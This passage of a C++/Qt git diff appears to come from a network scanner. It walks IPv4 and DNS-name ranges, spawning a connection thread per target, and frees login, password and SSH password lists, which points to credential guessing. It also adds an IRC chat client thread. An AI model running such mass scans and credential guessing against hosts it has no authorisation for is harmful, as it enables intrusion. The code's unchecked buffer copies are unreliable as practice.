pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); +#endif + + char *charAll[38] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", + "-", "_", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", + "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; + char *charDec[10] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}; + char *charChar[26] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", + "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; + + + char dataEntry[1024] = {0}; + strcpy(dataEntry, saveEndIP); + char dataStart[1024] = {0}; + char dataEnd[1024] = {0}; + char dataRes[1024] = {0}; + if(strstr(dataEntry, "RESTORED") == NULL) + { + dnsVec.clear(); + std::vector maskVec; + maskVec.push_back(dataEntry); + + int index = 0; + int sz = strlen(saveEndIP); + + if(strstr(dataEntry, "$") == NULL) + { + dnsVec.push_back(dataEntry); + } + else + { + for(int i = 0; i < sz; ++i) + { + if(dataEntry[i] == '$') + { + ++i; + if(dataEntry[i] != 'd' && dataEntry[i] != 'a' && dataEntry[i] != 'c') + { + QString errStr = "Error in dns-range at " + QString::number(i-1); + errStr += " ("; + errStr += QString(dataEntry).mid(0, i-1); + errStr += ""; + errStr += QString(dataEntry).mid(i-1, i+1); + errStr += ""; + errStr += QString(dataEntry).mid(i+1, strlen(dataEntry)); + errStr += ")"; + + stt->doEmitionRedFoundData(errStr); + stt->doEmitionKillSttThread(); + return -1; + }; + }; + }; + + stt->doEmitionYellowFoundData("Forming DNS-range, please wait..."); + + for(int vecIndex = 0; vecIndex < maskVec.size(); ++vecIndex) + { + strcpy(dataEntry, maskVec[vecIndex].c_str()); + + sz = strlen(dataEntry); + index = 0; + for(int i = 0; i < sz; ++i) + { + if(globalScanFlag == false) break; + if(dataEntry[i] == '$') + { + ++i; + if(dataEntry[i] == 'd') + { + strncpy(dataEnd, dataEntry + i + 1, sz - i - 1); + + for(int j = 0; j < 10; ++j) + { + strcpy(dataRes, dataStart); + strcat(dataRes, charDec[j]); + strcat(dataRes, dataEnd); + + maskVec.push_back(dataRes); + if(strstr(dataRes, "$") == NULL) dnsVec.push_back(dataRes); + }; + ZeroMemory(dataEntry, sizeof(dataEntry)); + ZeroMemory(dataRes, sizeof(dataRes)); + ZeroMemory(dataStart, sizeof(dataStart)); + ZeroMemory(dataEnd, sizeof(dataEnd)); + break; + } + else if(dataEntry[i] == 'a') + { + strncpy(dataEnd, dataEntry + i + 1, sz - i - 1); + + for(int j = 0; j < 38; ++j) + { + strcpy(dataRes, dataStart); + strcat(dataRes, charAll[j]); + strcat(dataRes, dataEnd); + + maskVec.push_back(dataRes); + if(strstr(dataRes, "$") == NULL) dnsVec.push_back(dataRes); + }; + ZeroMemory(dataEntry, sizeof(dataEntry)); + ZeroMemory(dataRes, sizeof(dataRes)); + ZeroMemory(dataStart, sizeof(dataStart)); + ZeroMemory(dataEnd, sizeof(dataEnd)); + break; + } + else if(dataEntry[i] == 'c') + { + strncpy(dataEnd, dataEntry + i + 1, sz - i - 1); + + for(int j = 0; j < 26; ++j) + { + strcpy(dataRes, dataStart); + strcat(dataRes, charChar[j]); + strcat(dataRes, dataEnd); + + maskVec.push_back(dataRes); + if(strstr(dataRes, "$") == NULL) dnsVec.push_back(dataRes); + }; + ZeroMemory(dataEntry, sizeof(dataEntry)); + ZeroMemory(dataRes, sizeof(dataRes)); + ZeroMemory(dataStart, sizeof(dataStart)); + ZeroMemory(dataEnd, sizeof(dataEnd)); + break; + }; + }; + dataStart[index++] = dataEntry[i]; + }; + }; + stt->doEmitionYellowFoundData("DNS-range is ready!"); + }; + }; + gTargets = dnsVec.size(); + gTargetsOverall = gTargets; + char iip[256] = {0}; + + stt->doEmitionChangeStatus("Scanning..."); + sockstruct *st = NULL; + for(int i = 0; i < dnsVec.size(); ++i) + { + if(globalScanFlag == false) break; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(iip, sizeof(iip)); + while(cons >= gThreads) Sleep(300); + strcpy(iip, dnsVec[i].c_str()); + strcpy(saveStartIP, iip); + strcat(iip, top_level_domain); + + ++indexIP; + + strcpy(st->argv, iip); + + targetAndIPWriter(--gTargets, st->argv); + + dnsVecBU = dnsVec[i]; + ConInc(); +#if defined(WIN32) + if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); +#else + if(globalScanFlag) + { + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); + }; +#endif + Sleep(10); + }; + } + else if(gMode == -1) + { + if(flCounter == 0) + { + stt->doEmitionRedFoundData("Empty IP list."); + OnLiner = 0; + globalScanFlag = false; + stt->doEmitionKillSttThread(); + + return -1; + }; +#if defined(WIN32) + _beginthread( (void(*)(void*))_saver, 0, NULL ); +#else + pthread_t thrs; + pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); +#endif + if(trackerOK) + { +#if defined(WIN32) + _beginthread( (void(*)(void*))_tracker, 0, NULL ); +#else + pthread_t thrt; + pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); +#endif + }; + + Sleep(40); +#if defined(WIN32) + _beginthread( (void(*)(void*))_timer, 0, NULL ); +#else + pthread_t thrtt; + pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); +#endif + + int eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; + #pragma region QTGUI_Area + stt->doEmitionChangeStatus("Scanning..."); + #pragma endregion + sockstruct *st = NULL; + for(gC = 0; gC < flCounter; ++gC) + { + strcpy(metaRange, std::to_string((long double)ipsstartfl[gC][0]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string((long double)ipsstartfl[gC][1]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string((long double)ipsstartfl[gC][2]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string((long double)ipsstartfl[gC][3]).c_str()); + strcat(metaRange, "-"); + strcat(metaRange, std::to_string((long double)ipsendfl[gC][0]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string((long double)ipsendfl[gC][1]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string((long double)ipsendfl[gC][2]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string((long double)ipsendfl[gC][3]).c_str()); + + eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; + while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0) && globalScanFlag) + { + if(globalScanFlag == false) break; + while(ipsstartfl[gC][0] < 256 && eor0 == 0) + { + if(globalScanFlag == false) break; + if(ipsstartfl[gC][0] == ipsendfl[gC][0]) eor0 = 1; + while(ipsstartfl[gC][1] < 256 && eor1 == 0) + { + if(globalScanFlag == false) break; + if(ipsstartfl[gC][1] == ipsendfl[gC][1] && eor0 == 1) eor1 = 1; + while(ipsstartfl[gC][2] < 256 && eor2 == 0) + { + if(globalScanFlag == false) break; + if(ipsstartfl[gC][2] == ipsendfl[gC][2] && eor1 == 1) eor2 = 1; + while(ipsstartfl[gC][3] < 256 && eor3 == 0) + { + if(globalScanFlag == false) break; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); + + while(cons >= gThreads) Sleep(300); + + if(ipsstartfl[gC][3] == ipsendfl[gC][3] && eor2 == 1) eor3 = 1; + + ++indexIP; + + strcat(res, std::to_string((long double)ipsstartfl[gC][0]).c_str()); + strcat(res, "."); + strcat(res, std::to_string((long double)ipsstartfl[gC][1]).c_str()); + strcat(res, "."); + strcat(res, std::to_string((long double)ipsstartfl[gC][2]).c_str()); + strcat(res, "."); + strcat(res, std::to_string((long double)ipsstartfl[gC][3]).c_str()); + + strcpy(st->argv, res); + strcpy(saveStartIP, res); + + targetAndIPWriter(gTargets--, st->argv); + + ConInc(); +#if defined(WIN32) + if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); +#else + if(globalScanFlag) + { + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); + }; +#endif + Sleep(10); + if(ipsstartfl[gC][3] <= ipsendfl[gC][3]) ++ipsstartfl[gC][3]; + }; + ipsstartfl[gC][3] = 0; + if(ipsstartfl[gC][2] <= ipsendfl[gC][2]) ++ipsstartfl[gC][2]; + }; + ipsstartfl[gC][3] = 0; + ipsstartfl[gC][2] = 0; + if(ipsstartfl[gC][1] <= ipsendfl[gC][1]) ++ipsstartfl[gC][1]; + }; + ipsstartfl[gC][3] = 0; + ipsstartfl[gC][2] = 0; + ipsstartfl[gC][1] = 0; + if(ipsstartfl[gC][0] <= ipsendfl[gC][0]) ++ipsstartfl[gC][0]; + }; + ipsstartfl[gC][3] = 0; + ipsstartfl[gC][2] = 0; + ipsstartfl[gC][1] = 0; + }; + }; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Wrong parameters."); +#pragma endregion + }; + + + Sleep(gTimeOut + 1); + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("Stopping threads..."); + stt->doEmitionChangeStatus("Stopping..."); + #pragma endregion + + while(cons > 0 || OnLiner == 1 || jsonArr->size() > 0) Sleep(2000); + + if(loginLst != NULL) + { + for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; + delete []loginLst; + loginLst = NULL; + }; + if(passLst != NULL) + { + for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; + delete []passLst; + passLst = NULL; + }; + if(GlobalNegatives != NULL) + { + char temp[512] = {0}; + for(int i = 0; i < GlobalNegativeSize; ++i) + { + delete []GlobalNegatives[i]; + }; + delete []GlobalNegatives; + GlobalNegatives = NULL; + }; + if(wfPassLst != NULL) + { + for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; + delete []wfPassLst; + wfPassLst = NULL; + }; + if(wfLoginLst != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; + delete []wfLoginLst; + wfLoginLst = NULL; + }; + if(sshlpLst != NULL) + { + for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; + delete []sshlpLst; + sshlpLst = NULL; + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + stt->doEmitionChangeStatus("Idle"); + stt->doEmitionKillSttThread(); + #pragma endregion +}; diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp new file mode 100755 index 0000000..ec596f9 --- /dev/null +++ b/oIRC_Th.cpp @@ -0,0 +1,818 @@ +#include "oIRC_Th.h" +#include + +int iWantToConnect = false; + +#define MAX_IRC_RECV_LEN 2048 +//#define IRC_CHAN "iskopasi_lab01" + +void oIRC_Th::doEmitionPlayDckingSound() +{ + emit ircTh->notifyPlay(); +}; +void oIRC_Th::doEmitUnhidePopup(QString str1, QString str2) +{ + emit ircTh->sUnhidePopup(str1, str2); +}; +void oIRC_Th::doEmitChangeIRCData(bool pm, bool hlflag, int code, QString str, QString s) +{ + emit ircTh->changeIRCData(pm, hlflag, code, str, s); +}; +void oIRC_Th::doEmitChangeRedIRCData(QString str) +{ + emit ircTh->changeRedIRCData(str); +}; +void oIRC_Th::doEmitChangeGreenIRCData(QString str) +{ + emit ircTh->changeGreenIRCData(str); +}; +void oIRC_Th::doEmitChangeYellowIRCData(QString str) +{ + emit ircTh->changeYellowIRCData(str); +}; +void oIRC_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit ircTh->changeRawIRCDataInc(str); +}; +void oIRC_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit ircTh->changeRawIRCDataOut(str); +}; +void oIRC_Th::doEmitSetNick(QString str) +{ + emit ircTh->setNick(str); +}; +void oIRC_Th::doEmitAddNick(QString str) +{ + emit ircTh->AddNick(str); +}; +void oIRC_Th::doEmitClearNickList() +{ + emit ircTh->ClearNickList(); +}; +void oIRC_Th::doEmitIRCOfflined() +{ + emit ircTh->IRCOfflined(); +}; +void oIRC_Th::doEmitGetTopic(QString str) +{ + emit ircTh->getTopic(str); +}; + +QString GetNickColor(char *sn) +{ + QString str(sn); + QString hexNick = str.toLocal8Bit().toHex(); + int origLen = str.size(); + int hln = hexNick.length(); + while(hln < 7) + { + hexNick += "0"; + hln = hexNick.length(); + }; + + QString nickColorStr = hexNick.mid(0, 6); + QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); + + int nickColor = nickColorStr.toUInt(NULL, 16); + int nickBGColor = nickBGColorStr.toUInt(NULL, 16); + int dim = QString::number(nickColor).length(); + int factor = pow((float)10, dim); + + nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); + nickColorStr.setNum(nickColor, 16); + nickColorStr = nickColorStr.mid(nickColorStr.size() - 6, nickColorStr.size()); + + int R = nickColorStr.mid(0, 2).toUInt(NULL, 16); + int G = nickColorStr.mid(2, 2).toUInt(NULL, 16); + int B = nickColorStr.mid(4, 2).toUInt(NULL, 16); + + if(R < 100 && G < 100 && B < 100) nickBGColorStr = "#fd7e31"; + else nickBGColorStr = "#000000"; + + return nickColorStr + "; background-color: " + nickBGColorStr + ";"; +}; +bool doHL(char *rawData) +{ + if(strstr(rawData, ircNick) != NULL) return true; + else return false; +}; +void _blinkNLine(QString tempData = "", QString senderNick = "") +{ + if(widgetIsHidden == false && tray->isVisible() == false) + { + disableBlink = false; + if(irc_nmb->isRunning() == false) irc_nmb->start(); + ircTh->doEmitUnhidePopup(tempData, senderNick); + +#pragma region QTGUI_Area + if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", ""); + printDelimiter = false; +#pragma endregion + }; +}; +int sendS(int lSock, char *msg, int len, int mode) +{ + int b; + + b = send(lSock, msg, len, mode); + if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); + else + { + Activity += len; + +#pragma region QTGUI_Area + ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg)); +#pragma endregion + }; + return b; +}; +int recvS(int lSock, char *recvBuffT, int len, int mode) +{ + int b; + char recvBuff[MAX_IRC_RECV_LEN] = {0}; + + b = recv(lSock, recvBuff, sizeof(recvBuff), 0); + if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); + else + { + Activity += len; + + strcpy(recvBuffT, recvBuff); +#pragma region QTGUI_Area + ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff)); +#pragma endregion + ZeroMemory(recvBuff, sizeof(recvBuff)); + }; + return b; +}; +void UserNickInit(SOCKET sock) +{ + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); + char tempBuffUser[1024] = {0}; + strcpy(tempBuffUser, "USER "); + strcat(tempBuffUser, ircNick); + strcat(tempBuffUser, " \"netstalker01\" * : "); + strcat(tempBuffUser, ircNick); + strcat(tempBuffUser, "\r\n"); + + char tempBuffNick[1024] = {0}; + + strcpy(tempBuffNick, "NICK "); + strcat(tempBuffNick, ircNick); + strcat(tempBuffNick, "\r\n"); + + sendS(lSock, tempBuffUser, strlen(tempBuffUser), 0); + sendS(lSock, tempBuffNick, strlen(tempBuffNick), 0); + + memset(tempBuffUser, '0', sizeof(tempBuffUser)); + memset(tempBuffNick, '0', sizeof(tempBuffNick)); +}; +void GetNicks() +{ + char chanTemp[64] = {0}; + strcpy(chanTemp, "NAMES #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); +}; +char *GetServerName(char *buff) +{ + char *temp1 = NULL; + int sz = 0; + char name[128] = {0}; + if(strstr(buff, " ") != NULL) + { + temp1 = strstr(buff, " "); + sz = temp1 - buff - 1; + strncpy(name, buff + 1, (sz < 128 ? sz : 128)); + }; + + return name; +}; +int jFlag1 = 0; +void __pinger(char *recvBuff) +{ + if(strstr(recvBuff, "PING") != NULL) + { + char tmpa[128] = {0}; + + if(strstr(recvBuff, "PING :") != NULL) + { + if(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n") != NULL) + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, "PING :") + strlen("PING "), strlen(strstr(recvBuff, "PING :") + strlen("PING ")) - strlen(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n"))); + strcat(tmpa, "\r\n"); + + sendS(lSock, tmpa, strlen(tmpa), 0); + } + else + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, ":"), 16); + strcat(tmpa, "\r\n"); + + sendS(lSock, tmpa, strlen(tmpa), 0); + }; + + + if(ircPTh->isRunning() == false) ircPTh->start(); + }; + + if(!jFlag1) //Channel-entering sequence + { + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + + jFlag1 = 1; + }; + + globalPinger = 0; + memset(tmpa, '\0', sizeof(tmpa)); + } + if(strstr(recvBuff, "PONG") != NULL) + { + char tmpa[128] = {0}; + + if(!jFlag1) //Channel-entering sequence + { + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + + jFlag1 = 1; + }; + + globalPinger = 0; + memset(tmpa, '\0', sizeof(tmpa)); + } + else if(strstr(recvBuff, "G :") != NULL) + { + char tmpa[128] = {0}; + if(strstr(recvBuff, "G :") != NULL) + { + if(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n") != NULL) + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, "G :") + strlen("G :"), strlen(strstr(recvBuff, "G :") + strlen("G :")) - strlen(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n"))); + strcat(tmpa, "\r\n"); + sendS(lSock, tmpa, strlen(tmpa), 0); + } + else + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, ":"), 16); + strcat(tmpa, "\r\n"); + sendS(lSock, tmpa, strlen(tmpa), 0); + }; + }; + + if(!jFlag1) //Channel-entering sequence + { + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + + jFlag1 = 1; + }; + + globalPinger = 0; + if(ircPTh->isRunning() == false) ircPTh->start(); + memset(tmpa, '\0', sizeof(tmpa)); + }; +}; + +void IRCLoop() +{ + nickFlag = 0; + offlineFlag = 0; + +#pragma region QTGUI_Area + ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); +#pragma endregion + + int err, yes = 1; + jFlag1 = 0; + sockaddr_in addr; + addr.sin_family = AF_INET; + + HOSTENT *host; + + if(proxyEnabledFlag) + { + addr.sin_port = htons(atoi(ircProxyPort)); + +#if defined(WIN32) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + } + else + { + addr.sin_port = htons(atoi(ircPort)); + +#if defined(WIN32) + if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircServer); + else if(host = gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircServer); + else if(host=gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + }; + + for(int conCounter = 1; conCounter <= 100; ++conCounter) + { + char topicData[256] = {0}; + if(iWantToConnect == false) break; + OnlineMsgSentFlag = false; + + lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + setsockopt(lSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int)); + + if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "..."); + if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { + if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connection to proxy " + QString(ircProxy) + " established."); + globalPinger = 0; + + char temprecvBuff[512] = {0}; + char tempSendMsg[512] = {0}; + + if(proxyEnabledFlag) + { + strcpy(tempSendMsg, "CONNECT "); + strcat(tempSendMsg, ircServer); + strcat(tempSendMsg, ":"); + strcat(tempSendMsg, ircPort); + strcat(tempSendMsg, " HTTP/1.1\r\n\r\n"); + + sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0); + + recvS(lSock, temprecvBuff, sizeof(temprecvBuff), 0); + + if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK") + || strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") ) + { + ircTh->doEmitChangeYellowIRCData("Proxy accepted connection. Waiting for IRC reply..."); + sendS(lSock, "\r\n", strlen("\r\n"), 0); + } + else + { + ircTh->doEmitChangeRedIRCData("[IRC: Bad proxy reply.]"); + break; + }; + } + else + { + sendS(lSock, "\r\n", strlen("\r\n"), 0); + }; + + UserNickInit(lSock); + + char recvBuffG[MAX_IRC_RECV_LEN] = {0}; + char serverRealName[256] = {0}; + bool nameLocked = false; + while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect) + { + if(strlen(recvBuffG) > 0) + { + char *recvBuff = recvBuffG; +#pragma region Pinger + __pinger(recvBuff); +#pragma endregion + char comStr[512] = {0}; + char delimBf[512] = {0}; + strcpy(delimBf, ":"); + strcat(delimBf, serverRealName); + + char *Gtemp = recvBuff; + while(strstr(Gtemp + 1, "\n") != NULL) + { + char *temp1 = NULL; + if(strstr(Gtemp + 1, "\n") != NULL) temp1 = strstr(Gtemp + 1, "\n"); + else temp1 = Gtemp + strlen(Gtemp); + int csz = temp1 - Gtemp - 1; + strncpy(comStr, Gtemp, csz); + Gtemp = strstr(Gtemp + 1, "\n"); + + char privTemp[64] = {0}; + strcpy(privTemp, "PRIVMSG #"); + strcat(privTemp, IRC_CHAN); + strcat(privTemp, " :"); + + if(strstr(comStr, " PRIVMSG ") == NULL) + { + char topicTemp[64] = {0}; + strcpy(topicTemp, "TOPIC #"); + strcat(topicTemp, IRC_CHAN); + strcat(topicTemp, " :"); + if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL) + ) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + "."); +#pragma endregion + if(nameLocked == false) + { + nameLocked = true; + strncpy(serverRealName, GetServerName(recvBuff), 128); + }; + + Sleep(500); + UserNickInit(lSock); + + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "ERROR :Closing Link:") != NULL || strstr(comStr, "ERROR :") != NULL) ) + { + if(strstr(comStr, "Registration timed out") != NULL) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)"); + ircTh->terminate(); +#pragma endregion + } + else + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)"); + ircTh->terminate(); +#pragma endregion + }; + } + else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL) + { + ircTh->doEmitChangeYellowIRCData("[" + QString::fromLocal8Bit(" ") + "] Flooding detected."); + } + else if((strstr(comStr, serverRealName) != NULL && strstr(comStr, " 332 ") != NULL) + || strstr(comStr, topicTemp) != NULL) + { + char chanTemp[32] = {0}; + strcpy(chanTemp, IRC_CHAN); + strcat(chanTemp, " :"); + char *temp = strstr(comStr, chanTemp); + strncpy(topicData, temp + strlen(chanTemp), 256); + if(utfIRCFlag) + { + QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); + QByteArray wtf_s(QString::fromLocal8Bit(topicData).toStdString().c_str()); + QByteArray wtf = codec->fromUnicode(wtf_s); + ircTh->doEmitGetTopic(wtf); + } + else ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); + } + else if(strstr(comStr, "not channel operator") != NULL) + { + ircTh->doEmitChangeRedIRCData("[Nope] You're not channel operator."); + ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "353") != NULL || strstr(comStr, "End of /NAMES list") != NULL)) + { + char *strMain = NULL; + char *str1 = NULL; + char *str2 = NULL; + + if(strstr(comStr, " 353 ") != NULL) strMain = strstr(comStr, " 353 "); + if(strMain != NULL) + { + char cTemp[64] = {0}; + strcpy(cTemp, IRC_CHAN); + strcat(cTemp, " :"); + + if(strstri(strMain, cTemp) != NULL) str1 = strstri(strMain, cTemp); + else + { + char chanTemp[64] = {0}; + strcpy(chanTemp, IRC_CHAN); + strcat(chanTemp, " : Error in /NAMES"); + + str1 = chanTemp; + }; + if(strstr(str1, ":") != NULL) str2 = strstr(str1 + 1, ":"); + + char temp[MAX_IRC_RECV_LEN] = {0}; + + int dsz = strlen(str2); + if(dsz > 0) + { + ircTh->doEmitClearNickList(); + strncpy(temp, str2, dsz); + char *lex = strtok(temp + 1, " "); + + while(lex != NULL && lex != "" && lex != "\r" && lex != "\r\n" && *lex != 13) + { + ircTh->doEmitAddNick(QString::fromLocal8Bit(lex)); + lex = strtok(NULL, " "); + }; + }; + }; + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0)) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters."); +#pragma endregion + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) + { +#pragma region QTGUI_Area + QTime time = QTime::currentTime(); + qsrand((uint)time.msec()); + ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); + ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 )); +#pragma endregion + UserNickInit(lSock); + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0)) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast."); +#pragma endregion + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL + || strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL) + && strstr(comStr, "353") == NULL) + { + ircTh->doEmitChangeRedIRCData("[IRC: NAMES! lol]"); + } + else if(strstr(comStr, "QUIT :Ping timeout") != NULL || strstr(comStr, "EOF From") != NULL + || strstr(comStr, "EOF from") != NULL || strstr(comStr, " QUIT :") != NULL) + { + if(strstr(comStr, ":") != NULL) + { + if(strstr(comStr, "!") != NULL) + { + if(strstr(comStr, "@") != NULL) + { + char *temp1 = strstr(comStr, ":"); + char *temp2 = strstr(temp1, "!"); + char leaverNick[32] = {0}; + + int sz = temp2 - temp1; + + strncpy(leaverNick, temp1, (sz < 16 ? sz : 16)); + +#pragma region QTGUI_Area + if(strstr(comStr, "QUIT :Ping timeout") != NULL) + { + ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout)."); + _blinkNLine(QString(leaverNick) + " left channel (Ping timeout)", "[Server]"); + } + else + { + ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel."); + _blinkNLine(QString(leaverNick) + " left channel.", "[Server]"); + }; +#pragma endregion + }; + }; + }; + } + else if(strstr(comStr, "NICK :") != NULL) + { + char *temp; + char *temp2; + char senderNick[32] = {0}; + if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); + int nickLen = temp2 - temp - 1; + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen); + + if(strstr(comStr, "NICK :") != NULL) temp = strstr(comStr, "NICK :"); + memset(temp + strlen(temp), '\0', 1); + + QString newNick = QString((char*)(temp + strlen("NICK :"))); +#pragma region QTGUI_Area + ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "]."); +#pragma endregion + _blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]"); + + } + else if(iWantToConnect && (strstr(comStr, "JOIN :#") > 0 || strstr(comStr, "Join :#") > 0 + || 